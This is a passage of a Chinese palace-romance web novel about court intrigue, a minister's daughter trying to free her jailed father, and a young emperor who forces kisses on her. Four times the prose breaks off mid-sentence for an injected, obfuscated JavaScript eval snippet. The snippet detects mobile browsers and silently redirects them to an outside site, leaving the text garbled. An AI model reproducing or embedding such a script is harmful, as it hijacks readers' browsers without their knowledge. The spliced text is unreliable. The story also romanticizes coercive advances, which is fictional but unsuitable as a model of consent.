太后当真是气极了,当初她趁皇帝带兵出征,擅作主张替他选了四妃。 她心里清楚得很,皇帝面子上不显,暗地里一直怀恨在心。冷落这几个妃子,不过是想下她的面子,故意让他难堪。 到底不是亲儿子啊,养大了就不认娘了。 薛太后心中气闷,脸上蓄着冷冷的笑意,“你们四人都是哀家千挑万选出来,容貌姿色皆是上乘。皇上没明说要将那袁妙莹册立为后,哀家也没法冒冒然前去要说法。” 淑妃是镇远侯的女儿,听太后这么说后,沮丧地问道,“那母后,我们要怎么办啊?” 她爹明面上效忠皇帝,暗地里却是太后的人,薛太后选她入宫,也正是因为这个原因。 连妃连亦兰也同样苦着一张脸,她是皇上母家的人,是皇帝的表妹,与薛太后没有沾亲带故。当初连骁听闻选妃的风声,迫着太后将人选了进来。 连自家人都可以冷落,皇帝果真是一如既往绝情。 薛太后隐去眼中的嘲讽,安抚道,“放心,哀家自有办法,不会让你们受了委屈。” 左右这些人不过是她的棋子,用得上最好,用不上随时可以舍弃换成新的。 薛雪媚向来是有恃无恐,听太后这么说,还不依不饶,“姑母,媚儿不喜欢她,你可要说话算数哦。” 薛雪媚娇纵无脑,但胜在擅长讨好男人,薛太后起初是看中了侄女的姿色,想用她来迷惑皇帝。按着皇帝年少时的喜好,这女子入宫后绝对会是专宠。 可惜世事难料,皇帝对宫中的女人,连个手指头也不碰一下。偏偏跑到民间找那些个低三下四的女子,还被迷得七荤八素,这是薛太后万万没有想到的结果。 好在皇帝年轻自负,又刚愎自用,掀不起什么波浪。沈相一路扶植他登基治国,处处为他与哀家作对,到头来皇帝却有眼无珠,翻脸就将人送入牢里。照这形势下去,他失了沈相,无异于失了左膀右臂,只剩下连家的势力,到时候就好对付得多了。 赫儿,我的赫儿,你很快就可以回盛京了,这里将来就是你的天下。 * 夜里一声闷雷,连亦心从睡梦中惊醒。她惊慌地从床榻上挣扎起来,定神之后轻抚自己的胸口平复情绪,然后嘴角缓缓地弯起,现出一抹诡异的笑容。 自那日从宫里七夕宴回来后,她一直对沈若辞的相貌耿耿于怀。 那张脸,恐怕会让皇帝想起旧人。若是表哥见了,保不全会看上她。 但今夜,她梦到了沈若辞的结局。 与国公府结亲,死于大婚之夜。 她突然安心下来。这两年来,梦中的事情与现实的一切无缝对接,不曾有过偏差,她也不怕是她的梦境出错。 梦里表哥没有成婚,所以后位一路空悬。近来外边说什么皇帝属意袁家女子,有意立袁妙莹为后,她一点也不信。 自她发现自己的梦能提前知道现实后,她便开始在某些事情上讨好表哥。 她帮他提供方法,帮他去讨那民间女子的欢心,因此得到了表哥的信任。 而今,她跟表哥的关系,已经比梦境中的要强上许多。连亦心抱着自己的双膝,将头靠在膝盖上,连天都在帮她,她一定要成功做他的皇后。 * 柳太妃入宫为沈相求情一事,沈若辞一直记挂在心里。得了别人的人情,理应登门道谢。沈若辞将五月份晒好的艾草装入小包里,垒了一竹篮子,亲自送到了行宫。 柳太妃没有儿女,见沈若辞前来探访,心里很是高兴,将人迎进了屋里。 沈若辞细说一下沈相的近况,又趁机向柳太妃表达了感谢。 柳太妃看着女孩儿稚嫩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404476|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娇柔的脸庞,心中惋惜起来。而今沈相身陷囹圄,皇帝要她一个弱女子留在身边,这其中的目的不言而喻。 皇帝本性不坏,年幼时受了苦,又无人管教,导致性子变得多疑古怪。 她如今年纪大了,又说不上话,对沈相一事帮不上什么忙,这女孩你仍愿上门来看她,她喜欢得紧,又关心道,“皇上有没有为难你?” 说起为难,沈若辞脑子里想到的就是皇帝两次将她按在怀里亲吻的画面,这种下作的手段她不耻于说出口,只是惊慌地摇摇头。 柳太妃刚想松一口气,就见女孩儿忽地抬起头,唤了一声“太妃”,眼神里写满了犹豫。她耐心等了一会,终于等到她开口问,“男人都喜欢……漂亮的女子吗?” 她本来想问的不是这个,是更露骨的,最后还是没好意思问出来,临时改了口。 柳太妃一时给问住了,但见她面有窘迫,心里又清明起来,小心翼翼地问道,“皇上强迫你了?” “没、没……” 沈若辞不敢去看柳太妃,面露难堪,垂着头低声回道。 柳太妃看她的反应,心中也明白了一二。她离开皇宫有些年了,当年后宫里的勾心斗角而今也渐渐淡忘。也就是这一刻,她才突然想起,女子的美貌,有时候能成为弱点,可是有的时候,也能成为武器。 皇帝毕竟是个血气方刚的年轻男子,就算心思再阴沉黑暗,也难免逃不过一个色字。 柳太妃捧起小姑娘艳若桃李的俏脸,手指轻抚过她的脸颊,肤质细腻柔滑,如玉凝脂。她端详了一会,才语重心长地说道,“小辞,这些话对你来说也许很残酷,但还是决定跟你说明。你自幼没有母亲,很多事情可能不大清楚。天底下的男子,都喜欢年轻貌美的女子,何况你长成这般模样的,更惹人怜爱。男人可以无情无爱,但不妨碍他想占有一个女人。皇帝若是有意,你可以尝试顺着他,做他喜欢的事,再去求他放了你爹……” 沈若辞似懂非懂,一双眼睛亮莹莹的,蒙着淡淡的水雾,如娇花带露,含苞待放。这般绝色,皇帝若是喜欢,也不足为奇。 沈若辞对男女一事所知不多,但她却不愚笨,细细琢磨一番之后,还是领悟了话中的意思。 就像那个梦境,陌生的男人掐着她的腰,做那些不要脸的事…… 沈若辞脸色腾地一下红了,一时间不知该做何回应。 柳太妃知道她短时间内难以接受,握了握她的手,柔声细语道,“小辞不必惊慌,我也不知道跟你说这些话是对是错,但总归给你提个醒。” 她身为长辈,本不该对晚辈说这些话。但若是因为懵懂无知,在某些关键时刻惹怒了皇帝,怪罪下来可绝非小事。 沈相出了意外,那更没有人能护住这朵娇花了。 沈若辞到底年纪还小,听不得这些话,过了好一会儿,一张小脸仍臊得通红,心中却默默将话记下了。 出了行宫,沈若辞回想起柳太妃的话,陷入沉思。 16. 第 16 章 她猜不透皇帝到底在玩什么把戏,是不是有意拘着父亲,好借机报复。 沈若辞越想脸色越难看,她感觉有人握住了她的手,抬头一看是阿茉。 阿茉担忧地望着她,“小姐,别听他们的,狗嘴里吐不出象牙。” 沈若辞愣了愣,才回过神来,马车外边有人在议论她的事。 “国公府的大小姐美貌如花,皇帝有意立她为后也不足为奇。” “相府的千金更美,怎地就没听说皇帝看上她呢!” “你懂什么,沈相而今成了罪人,他的女儿能跟国公府的千金小姐比?” “说你蠢还不信。相府那病美人,模样标致,身段玲珑,皇帝若是见了人,铁定被勾了魂,怎么滴也想弄上一弄!” 污言秽语不堪入耳,沈若辞眉头一皱,心里冷笑道,这些人倒是会编排。 她正想吩咐车夫改道,马车就渐渐停了下来。车门咣当一声从外边被打开,皇帝裹着玄色的披风,长腿迈进了车厢,直接坐到沈若辞身边。 阿茉一惊,刚想开口,就被人请出了马车。 车门重新关上。行礼之后,沈若辞恭恭敬敬地候在一旁,心里却一阵抱怨。 清隽的男子坐在眼前,长腿舒展开来,周身都散发着干净的气息。 “外头的日光毒辣,朕进来避避暑。” 秋风拂过,车帘开了一道缝隙,沈若辞偏头看过去,只看到一丝细细弱弱的日光。 她无声地收回目光,小心翼翼地问道,“皇上,爹爹的事差得怎么样了,您何时放爹爹出来?” 皇帝看了她一眼,眼神一点一点地冰冷下去,“你一点也不主动,叫朕如何放人?” 沈若辞给问住了,垂在身侧的手指捏了捏裙摆,她琢磨着皇帝要她主动什么? 若她是个男子,这个时候大可以提出报国从军,以表忠心。可事与愿违,她是个手无缚鸡之力的病秧子,根本当不了兵也上不了战场。 半晌之后,沈若辞微微仰起头,一双清凌凌的眼儿望着皇帝,警惕又疑惑。 皇帝阴沉着脸,看起来心情不佳,“看着朕做什么,天底下可没什么不劳而获的事情。” 这话让沈若辞忐忑不安,她低下头思索,难不成皇帝想反悔? 一开始想让她做颗棋子牵制父亲,后来才发现亏大了,她这颗棋子一无是处,没半点可用的地方。 她心头一窒,又迅速抬起眼去看他,想从这张脸上寻找点苗头。 皇帝双眸深沉,根本看不出什么情绪。 沈若辞抿了抿唇,“求皇上赐教。” 那张俊美得没有半分瑕疵的脸突然现出一抹冷笑。 皇帝看着她,秋日的日光浅浅的,洒在她的稚嫩的脸颊,清透白皙,那对明亮的眸子里,一如从前的清澈,漂亮得能夺人心魄。 长指不知何时抚上她柔软的唇,惊得她干净的眼眸中闪过一丝惊慌,沈若辞整个身子紧紧地抵着车壁,已无路可退。 时间在他的指缝间流逝,娇嫩的唇瓣被捻得殷红如血,马车里的气氛暧昧不明,直灼得那张精致白皙的小脸面红耳赤。 这次皇帝用在她身上的手段,明显与前几次不同,沈若辞默默承受着,脑子里却不受控制地出现皇帝要“弄一弄她”的想法。 这种想法一出来,连自己都吓了一跳。 惊慌之下,沈若辞从身边摸出一个盒子,急中生智道,“皇上,上次在御花园里臣女说要送您一盒口脂,……请您收下。” 这盒口脂是柳太妃挑剩下的,她觉得颜色太过鲜艳,不适合她那般年纪的,小姑娘自己用才参不多。 沈若辞拼命地将盒子往前送。 呵。 又是一声冷笑。 好在皇帝的手终于从她唇上撤开,漫不经心地接过盒子,却随手丢到了一旁。 他垂眸俯视着她,神色晦明难辨,“沈若辞,你该不会真的以为,朕有喜欢吃口脂那些奇奇怪怪的嗜好吧?” 难道不是? 沈若辞咬了咬唇,那天在御花园里,皇帝明明拉着她,甚至冒着会被人发现的危险,非要尝一尝她嘴上的口脂。 这样一想,沈若辞当即就要点头,但皇帝神色严肃,长指再次拂过她的唇。 他大言不惭道,“朕是想亲个嘴。” 话说得毫不要脸,沈若辞却像被人堵住了嘴,什么话也说不出来。皇帝果然是皇帝,权势滔天,想说什么,想做什么,都可以随心所欲,没人能管。 在沈若辞惊诧的目光中,皇帝生怕她不明白那般,又补充了一句。 “亲嘴,沿沿懂吧?” …… 亲嘴这事儿沈若辞哪能不懂,毕竟已经被他亲过几次,也算是颇有经验了。她不懂的是皇帝变化莫测的心思,这问题她一时不知该如何回答才能让他满意。 车厢狭仄,她整个身子斜倚着车壁,一番挣扎之后领口微微散开,露出精致的锁骨,白皙细腻。 更要命是那张脸,香腮雪肌,明艳不可方物。 元栩心弦一动,喉结上下滑动,他倾身上前。温热的气息洒在柔嫩的耳畔,沈若辞紧张之下仍察觉到淡淡的草药香气。 皇帝眼眸里有危险的信号。 微凉的唇瓣抵着她的,气息燥热起来。 沈若辞瞪大眼睛,脑子里轰隆一声,有难以置信的想法出现。 难不成,难不成…… 皇帝说要她主动,是想让她主动去亲他? 这个想法浮出水面,沈若辞下意识望向那人的试图从他的神色验证自己的想法。视线方才落在男人脸上,皇帝却在这时松开她的唇,嘴角挂起一丝恶劣的笑意。 “懂了?” 沈若辞心跳得厉害,思绪也转个不停。 她还没想出个所以然,皇帝突然伸出手把她的脸一顿揉搓,嫌弃道,“丑死了。” 扔下这三个字后就背对她开始整理身上的衣服。 车外边敲门声响起,他回头瞥了一眼,角落里女子蜷缩着身子,红唇翕动,眼尾一抹艳丽的红,勾得人心绪不宁。 该死! 他一脚踹开门,从马车里下去。车门被踢得咣当作响,震得车厢晃动不停。 沈若辞身子也跟着抖动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404477|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些心疼自家的马车。 元栩身形一晃,像风一样消失在她眼前。她艰难地咽了咽口水,思绪有些混乱,甚至混乱到觉得自己眼花了。 皇帝刚刚踢门下去的时候,她隐约看到他脸红了,还一路红到了耳根。 现在她冷静下来,才后知后觉地发现是自己看错了。这人可是没皮没脸的狼崽子,怎么可能会脸红呢。 肯定是她看走眼了。 她一边从怀里掏出帕子,一边琢磨着皇帝要她主动的事情。 她长得好看,模样自小讨人喜欢。可皇帝不一样,他狂妄自大,又恨透了沈相,恐怕对她只有厌恶。 阿茉重新回到车厢里,见沈若辞若有所思的样子,忧心忡忡地问道,“小姐,那男人没对您做……无礼的事吧?” 沈若辞回过神来,摇摇头。 “他来势汹汹,阿茉还以为他要行不轨之事。”阿茉从前见多了觊觎她家小姐的男人,生怕又是遇到什么登徒浪子。 沈若辞刚想说放心,这位厌恶我都来不及,可话还没出口,她脑中浮现皇帝的眼神,抓着帕子的手停在了唇边,一动不动。 “男人可以无情无爱,但不妨碍他想占有一个女人。” “皇帝若是见了人,铁定被勾了魂,怎么滴也想弄上一弄!” 脑子里的这些话莫名地清晰起来,一颗心也浮浮沉沉。 半晌之后,她感觉后背一凉,竟是一身冷汗。沈若辞慢慢地回过神来,小脸涨得通红,攥着帕子使劲地擦拭着自己的唇瓣。 * 近来宫里宫外盛传皇帝立后一事,连骁也早有耳闻。薛太后自作主张替皇帝选妃,他使了手段将亲侄女连亦兰送入宫中,就是寄期望于皇帝能宠幸自家人。 没想到皇帝至今连她的手指头都没有碰过,连骁对此事一直颇有微词,私下也曾暗示过元栩,无奈他不为所动。 连骁进来的时候,元栩正在龙案前看奏折,他听到脚步声,从奏折堆里抬起头来,叫了一声“舅舅。” 早前岳常安已经进来通报过了,连骁正准备行君臣之礼,元栩站起身来,如翠竹立于山中,清雅俊逸。 见他膝盖已屈下半截,才缓缓开口道,“舅舅不必多礼,陪朕喝上一杯。” 说话间,他人已走到紫檀黄梨花木坐榻前,顺势掀起前摆,坐了上去。 连骁也没有客套,阔步走了过去。 二人都没有急着开口,闲适自在地品尝美酒,等喝到差不多的时候,连骁才放下酒杯,神色一时端重起来。 “皇上,姜国女皇即位一年有余,这期间已陆续派使者到边邻国家拜访,唯独跳过我们大魏,至今仍无半分消息,也不知那女皇究竟存了什么心思。” 姜国前任皇帝是女皇的哥哥,年轻时曾以质子的身份在大魏待过一段时间,后来因一次意外逃回了姜国。 大魏一直有耳目在姜国,元栩对这位女皇略有耳闻,“朕听说那位女皇是女中豪杰,前些年被一直姜皇软禁,却暗地里收拢人心,培养势力。她哥哥在位期间昏聩无能,荒淫无道,此番夺位倒是顺天而行,顺应民意之举。” 17. 第 17 章 姜皇对外懦弱无能,这些年倒是一直在大魏的掌控之下。只不过而今易了主,以后恐怕不如那姜皇好拿捏。 但相比于大魏,姜国到底是弱国,还构不成什么威胁,连骁目前更在意太后的势力。 薛太后一心想扶持亲儿子赫王上位,这点心思连骁一直都很清楚,所以沈相暂时还不能倒。 沈相这一头的势力若是倒了,以连家的势力,恐怕抵挡不住薛太后一党的倾轧。 如此下去,连家难免朝不保夕。 他身负连家几代人的荣辱,绝不能让连家毁于自己手中。 这些日子,连骁也是经过深思熟虑,才决定来开这个口,“皇上,臣斗胆说一句,而今各方势力不明,沈相虽为人固执,行事嚣张恣意,但到底是大魏功臣,其忠心可鉴。当年姜皇意外逃脱后,沈相不顾性命之忧南下追捕,甚至几度深入姜国,九死一生。臣认为沈相绝不会为了姜国那点蝇头小利做出叛国的事情,还望皇上三思,务必以大局为重。” 早些年皇帝年幼,又十分憎恶太后,连骁是皇帝身边最亲近的人。那时候不管他说什么,少年的元栩从不质疑,甚至会尊重地说上一句,“全凭舅舅定夺。” 可今非昔比,这几年来,皇帝已渐渐有了自己的想法,凡事不再完全依赖于连骁。他的意见,皇帝有异议不接受,或者是当众反对也成常事。 “舅舅不是一贯看不上沈相,怎么今日会为他求情?莫非有什么隐情是朕不知道的?”元栩言语带笑,面容却清冷如霜,没有半分笑意。 连骁辈分上比元栩大一辈,年龄上只大个七八岁,他明显地感受到皇帝渐渐强大,也渐渐不受掌控。 “臣一心为大魏,皇上无需猜疑。”连骁话音中气十足,心中却隐隐不安。前些日子沈相的女儿带着赤玉剑去将军府求他帮忙,第二日元栩就亲自去连府找老爷子讨要赤玉剑。 老爷子心疼外孙,二话不说,就叫管家去连骁书房将剑取了过来,亲手交到外孙手里。 莫非元栩已不信任他这个舅舅,开始在连府安排耳目? 这件事后,连骁心中种下怀疑的种子。堂堂一国之君,要一把宝剑那个轻而易举的事情,何必如此大动干戈,亲自跑到老爷子那里讨要。这不是故意敲打他,让他明白自己的一言一行皆在帝王的掌控之中? 元栩却面不改色,“朕相信舅舅。沈相一案朕心中有数,自会还沈相一个清白。舅舅也清楚,如今那么多双眼睛盯着,朕还需想一个万全之策。” 连骁颔首,此时想起连亦兰跟他哭诉皇帝冷落自己,就趁机提了几句。 皇帝并不愿意提及这个话题,只说自己最近忙于立后一事,分不出心思。 这明显是推托之词,连骁哪里听不出来。 这些年来他一直手握兵权,在朝中说惯了话。此时对皇帝油盐不进的态度很恼火,也不愿意再好言相劝了,“立后一事事关重大,而今太后一心想扶植赫王,暗中培养了不少势力。皇上若是想稳坐皇位,立后首当考虑立我们连家女子。” 元栩脸上的笑意淡去,注视连骁片刻,才缓缓开口,“舅舅说的是,连家女子知书达理,端庄大气,确实有当皇后的潜质,但亦兰并不适合当皇后。” 皇上拒绝得丝毫不给面子。 连家最优秀的女子不是连亦兰,连骁心中一直另有人选。“亦兰不行,还有亦心。姐姐在世的时候疼极了亦心,若皇上能立她为后,你母后在九泉之下也是欣慰。” 连亦心这几年出落得风娇水媚,模样甚是动人,连骁尤其看好她。 “舅舅说笑了,亦心还是个小姑娘。” 亦兰亦心二人是连家最出色的女子,美貌过人,皇帝一个也看不上,难不成…… 连骁心思一沉,“莫非皇上还惦记着民间那女子?” 元栩笑着替连骁斟了杯酒,温和地递了过去,“早忘了。” 皇帝回答得风轻云淡,以他的性子,确实不像长情的人。况且那女子姿色平庸,皇帝看上她不过图一时新奇罢了,到底长久不了。 倒是亦心,皇帝一直对她更上心些。连骁当初明知皇帝更喜欢亦心,却因为她年纪善小,才选了姐姐亦兰入宫。莫非皇帝因此事记恨他,才屡屡在此事上与他作对? 连骁想过无数种可能,却从来没往这方面想,若是如此,那事情就好办许多,毕竟现在也不晚。 这么想来,他心下稍稍宽慰,神色也平静了许多。 二人之间一直是和颜悦色,从未扯破脸皮,但无形的较量却如暗潮涌动。连骁从御书房出来的时候,胸口堵着一口气久久不散。 * 夏末的阳光温柔,秋意渐起。 阿茉手上一边干着活,一边偷偷去看沈若辞的脸色,“这都几日了,袁大公子天天在门口守着。今日又站了半天,怎么劝都不听。” 沈若辞挑选药材的手顿了一下,才缓缓地接道,“由他去吧。” 袁家将话说绝了,就算她不入宫,也断不可能与袁子逸重修旧好。 她知道袁子逸不甘心,可她又何曾不是呢,翩翩有礼的少年郎,众人眼中门当户对的青梅竹马,岂是说放就能放的? 命运对他俩都不友好,先是病痛夺走了她的记忆,这一点她一直是愧对袁子逸的。因为在别人口中,无论她曾经多喜欢这位男子,关于“倾心”那一段记忆的缺失,她无法体会到恋人间情意绵绵的深情,自然也无法做到亲密无间。 好在袁子逸从不逼她,二人间的相处始终有理有度。 阿茉正整理着梳妆台,听房中没有了动静,侧过头就见沈若辞对着地面发呆。她轻叹了口气,举起手中的玉簪问道,“小姐留着这破簪子做什么?” 沈若辞收回视线,不去看也知道阿茉说的是何物,头也不抬地回道,“宫里带回来的东西,不好随意丢弃。” 一听“宫里”二字,阿茉慌得捂住了嘴。金雕玉砌的皇宫,也有她一个小丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404478|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬟都看不上的下等货色,也不怪她口不择言。 说起这玉簪,沈若辞才回想起来,距离上回在大街上偶遇皇帝,已过去了十天,宫里至今杳无音信。 那天马车里皇帝要她主动,后来又跟她……亲嘴,她有想过依着柳太妃的话,顺着他的意思去讨好。 皇帝若是真喜欢的她的身子,也不妨一试。 沈若辞正思索着,门外传来丫鬟慌乱的喊叫声,“二小姐不好了,袁大公子在门口晕倒了……” 沈若辞心头一惊,腾地站起身,就听那丫鬟继续说道,“国公府的人将大公子带了回去,……国公爷在外边没有走,说要见您一面。” 袁子逸被带回国公府,自会有人妥善照顾,沈若辞稍稍安心下来。而今一听到国公爷的名字,就想起皇帝说过他是举报沈相叛国的人,一瞬间刚松开的眉头又皱了起来,“你带他去前厅,我这就过去。” 沈若辞人到前厅的时候,袁国公已先她一步到达。 她也不请人坐下,直接开门见山道,“国公爷有话请直讲。” 印象中这女子除了貌美,就是柔弱似娇花,温顺有礼。眼下袁国公被如此冷待,心中大为不满。到底是无知女子,有必要让她看清一下现实,并非袁家无情,归根到底是她父亲造孽在先。 “沈姑娘年纪尚轻,对朝堂上的事情不甚了解,而沈相虽是你至亲,但他实际上是什么样的人,你恐怕并不清楚。” 若是以往,沈若辞也只当他是趋利避害的说法,但今时不同往日,此人居心叵测,私下指不定有什么不为人知的勾当。 她唇角现出一抹冷笑,“那敢问国公爷,我父亲是什么样的人?到底是无恶不作,还是投敌叛国?国公爷尽管说,以袁沈两家过往的交情,您如何定义父亲,若辞都能接受。前提是要能拿出证据,空口白牙的诬陷那就没必要讲了。倘若是国公爷手中有证据,不妨直接而上报给皇上,隐瞒不报,是要定罪的。” 袁国公向来只知道儿子被这沈家的女子迷得七荤八素的,只道是美色误人,今日找上门,是想三言两语震慑住这女子,却不曾想到叫她呛得哑口无言,半天只憋出一个“你……”字。 沈若辞定定地看着他人,见他瞪着眼无话可回,又说道,“国公爷请回吧,你们袁家我高攀不起,也请国公爷看好儿子,相府不想被人说闲言碎语。” 袁国公怒极反笑,“你不必太得意,皇上宽仁,至今没有对你父亲用刑,你父亲而今不过是濒死挣扎罢了。不妨告诉你,等皇上的耐心耗尽,刑罚一上,任你爹如何运筹帷幄,也逃不过坦白交代。你适才这席话……毕竟是年轻,我也不与你计较,往后日子还长。” 这样的娇花,没人护着,以后有她受的。袁国公心里不屑,仿佛亲眼见到了这女子的下场,嘴角尽是嘲讽。 沈若辞平静地目视人离开,心里却开始翻江倒海起来。袁国公这话提醒了她,但凡入了天牢抵死不认的,最后都会用上酷刑。 18. 第 18 章 沈相为人刚正不阿,没有做过的事肯定不会承认。天牢里的酷刑,民间有传闻,大罗神仙都熬不住。 沈若辞彻底坐不住了。 * 袁子逸被送回国公府后,又是一阵鸡飞狗跳。 袁国公痛骂儿子不争气,国公夫人哭哭啼啼地心疼儿子,袁妙莹这几日被困扰得不行,出来参加贵女的茶会,也始终无法真心开心起来。 原本因为七夕宴上,她一曲歌舞风华无双,名动盛京,国公府都因她的风头喜气洋洋的。可这才几日,因为大哥整日萎靡不振,整个家都死气沉沉的,再也没人提起她那日的风光。 袁妙莹看不惯袁子逸的行为,但也无可奈何。 与她交好的贵女知道内情,开始为她出谋划策。 “既然劝不动你哥,倒不如从沈若辞身上入手。男人最在意女子的清白,若是将她的清白毁去,你哥自然也不会再痴迷于她。” 这话对袁妙莹来说简直是醍醐灌顶,只觉得无意间又找到了一条明路。可细想了一下,却又苦恼起来,“毁她清白,谈何容易?” 沈家单单一个宋临,就足以让人忌惮。她有合适的人选去毁了沈若辞,可要混进沈府,却不是容易的事。 那贵女笑了笑,下巴一抬,指向不远处被冷落的女子,“你看,这不就有傻子亲自送上门来了。外人毁她清白是难事,但若是有家里人里应外合,岂不就容易得多了。” 袁妙莹望着沈若嫣处处巴结讨好的模样,心中顿时明了起来,她轻拂裙摆站起来,朝着她走了过去。 * 沈若辞整整半个月没有皇帝的消息了。 求见的帖子一张接着一张,全部都有如石沉大海,杳无音讯。 外边传闻皇帝忙于大婚,想必早就将她父亲一事抛诸脑后,更不记得她这颗可有可无的棋子了。 父亲因为姜国那封信件蒙冤入狱,唯一的证据已被他当场烧毁化成灰烬,信中到底写了何事,沈若辞也不得而知。 不只是她,连皇帝也不知信中内容。所以沈相究竟有没有叛国,追根究底全凭皇帝一句话。 她原本还认为皇帝离不开父亲的辅佐,才会想用她做棋子,挟制父亲效忠朝廷。 而今事态的发展又好像脱离了她原先的设想,或许狼崽子真的长大了,强大到可以脱离父亲的保护,不再需要这个一路扶持他坐稳皇位的人。 沈若辞整日想东想西,寝食难安。 今日她花了半天的时间,亲手给父亲做了几道小菜,又亲自送到狱中。家里的茶花要开了,一簇簇花枝缀满花苞,沈若辞折了两簇花枝,连同食盒一同送进去给沈相。 虽说如今有了皇帝的应允,沈若辞可以隔三差五地送些饭菜进来,给父亲改善一下伙食,但是牢狱生活到底艰苦,眼见父亲又比上回见面清减了几分,她眼泪就忍不住往下掉,语气也带了几分埋怨,“阿爹,姜国来的……信件,究竟写了何事,为何您宁愿自己背上通敌叛国的罪名,也不愿意说出来呢?” 沈墨见沈若辞突然哭了,慌忙放下碗筷,想要给女儿拭去泪水,却被她躲开了。 知道女儿跟自己置气,平日里在朝堂叱咤风云的沈相也慌了神,半天才挤出几个字,“沿沿,是爹不好,爹也是不想失去你……” 失去?什么意思? 沈若辞擦去眼泪,带着哭腔疑惑地问道,“阿爹说的失去是什么意思,沿沿没听懂。” 沈墨错愕了一瞬,才伸出手抚了抚她的后脑勺,“没什么事的,沿沿不必多想,你只要需要记住阿爹没有做对不起大魏的事就行了。过几天阿爹就出去了。沿沿一定要好好照顾自己,等爹回去团聚。” 沈若辞乖巧地点了点头,她也不想父亲在狱中还要为自己操心,便没有再继续追问。 回去的路上,她去了一趟将军府。府中下人告诉她连骁出了趟远门,沈若辞失望而归。 那日柳太妃的话犹在耳边,她起先还觉得难堪羞耻,而今就算她真的愿意去讨好皇帝,也得要有机会。 今年的夏日似乎格外漫长,就算已近黄昏,仍然暑热未消。 马车突然停了下来,没有了风,车厢里更是闷热。沈若辞刚想撩起车帘一看究竟,就听车夫在外禀道,前边袁国公府似乎有喜事,车马行人来来往往堵了路。 国公府与沈府两家相隔不过数十丈的距离,若是改道而行,反而要费上大功夫。 沈若辞干脆从马车上下来步行回府,还图个凉快。 今日经过国公府的路人,见到这热闹的场面,都忍不住停下来,交头接耳几句。 “国公府这回走了大运,宫里的恩赐跟流水一样,哗啦啦地往府里流,看来真的要出一位皇后。” “那是,国公府的大小姐貌美如花,美人配帝王,自古是佳话。” 那两人聊得火热,沈若辞侧着头听得出神,根本没发觉什么时候跟前就站了一人。 直至脑门一阵钝痛,疼得她轻嘶一声,抬起双手捂住了脑门的时候,眼里已泛起了薄薄的泪花。 而那始作俑者就在眼前,长身玉立,一身青衣翩然洒脱。只不过头戴帷帽,遮去了容貌。 鼻间有淡淡的草药香气,沈若辞心念微转,瞬间猜透这人的身份。 适才额头被他用手指弹过的地方仍有热辣辣的痛感,沈若辞心里不痛快,抿了抿唇站在原地一动不动。 隔着皂纱隐约能见女子容貌秀美,元栩等不到她开口,干脆长臂一伸,直接将人捞到了怀中。 皂纱拂过脸上,沈若辞心头一颤,腰肢被一只宽大的手掌握着,力气很大,迫得她踮高了脚尖,二人身子紧紧贴在一起。 元栩将她的美貌尽收眼底,仔仔细细地端详了一会,仍觉得意犹未尽。 他一直知道这女子长得极美,但未曾意料到,两年的病痛折磨,没有夺取她的半分容颜,反倒日渐娇艳。 只不过看他时,眼中那抹清冷分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404479|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫不减。 元栩心下一沉,语气有微微的嘲讽,“不是日日递帖子说想见朕,怎么今日见了人,却反而端起架子来,假装不认识了。” 话音极其冷淡,如冰霜一般严寒彻骨。 沈若辞感受到皇帝对自己的不满与怨气,生怕他突然拂袖而去,急忙告罪,“皇上恕罪,臣女眼拙,一时没认出来。” 元栩见她双眸澄净分明,不笑时眼中有三分清冷,可偏偏笑起来又如孩童一般天真无邪。 这样的人说她眼拙,分明就像小狐狸一样狡黠。 他垂下头,眼神深邃幽远,前额几乎抵着沈若辞的,迫使她与自己对视,“就这么不喜欢朕?” 皇帝气势压人,沈若辞能清晰地感知后腰上的大手蓄着力,随时能将她的腰折断。 身处虎口,这问题也不好答,说真话很容易将皇帝得罪狠了。她干脆嘴巴一扁,双手抚上自己的额头,一双杏眸无辜又可怜,“皇上,臣女这里还痛着呢……” 她的声音娇柔婉转,本来就很好听,此时又带点害怕,带点委屈,听起来就像是在撒娇,让人忍不住心生怜惜。 